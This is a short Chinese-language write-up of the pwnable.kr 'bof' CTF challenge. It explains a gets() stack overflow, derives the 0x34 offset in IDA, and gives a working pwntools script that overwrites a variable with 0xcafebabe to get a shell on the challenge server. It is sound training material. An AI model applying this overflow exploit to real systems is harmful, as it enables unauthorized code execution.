pwnable.kr bof

Pwnable.kr的第三道题目bof的writeup

下载二进制程序bof,可以看到该程序为32位,开了canary栈保护和NX栈不可执行:

1

将程序拖入IDA,可以看到程序为gets函数缓冲区溢出,目标是通过输入s覆盖a1为0xcafebabe,即可获得shell。

2

关键是求得s和a1的偏移,在IDA里可以看到,s的地址为[ebp+s],即[ebp-0x2C],a1的地址为[ebp+arg_0],即[ebp+0x8],偏移为0x2C+0x8=0x34:

3

因此最终的攻击脚本如下:

1
2
3
4
5
6
from pwn import *
#context.log_level = 'debug'
p = remote('pwnable.kr',9000)
payload = 'a'*0x34 + p32(0xcafebabe)
p.sendline(payload)
p.interactive()

执行脚本,获得shell,进而得到flag:

4